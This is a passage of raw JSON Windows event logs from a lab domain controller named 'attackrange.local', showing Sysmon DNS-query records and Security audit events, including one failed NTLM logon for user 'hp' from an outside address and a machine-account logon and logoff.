11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2417,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.376\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _gc._tcp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.376","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_gc._tcp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2418,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.383\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001022180200}\r\nProcessId: 2636\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dfssvc.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.383","ProcessGuid":"{90617006-3FE4-5F2D-0000-001022180200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dfssvc.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2419,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.386\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _gc._tcp.Default-First-Site-Name._sites.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.386","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_gc._tcp.Default-First-Site-Name._sites.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2420,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.389\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kerberos._udp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.389","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kerberos._udp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2421,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.402\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kpasswd._tcp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.402","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kpasswd._tcp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2422,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.409\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _kpasswd._udp.attackrange.local.\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.409","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_kpasswd._udp.attackrange.local.","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2423,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.434\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041C30000}\r\nProcessId: 1212\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.434","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041C30000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2424,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.450\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.450","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2425,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.457\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.457","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2426,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.476\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.476","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2427,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.510\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.510","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2428,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.581\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nQueryName: isatap.eu-central-1.compute.internal\r\nQueryStatus: 9003\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.581","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","QueryName":"isatap.eu-central-1.compute.internal","QueryStatus":"9003","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2429,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.813\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nProcessId: 1220\r\nQueryName: wpad\r\nQueryStatus: 9003\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.813","ProcessGuid":"{90617006-3FD4-5F2D-0000-00103DC30000}","QueryName":"wpad","QueryStatus":"9003","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221600,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49726\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49726","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221601,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42641\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42641","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221602,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42641\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t2001:0:2851:782c:2051:1b95:f5ff:fef1\r\n\tSource Port:\t\t49712\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42641","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"2001:0:2851:782c:2051:1b95:f5ff:fef1","IpPort":"49712","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221603,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42641\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42641","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221604,"ProcessID":860,"ThreadID":2704,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4268D\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x4268d","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 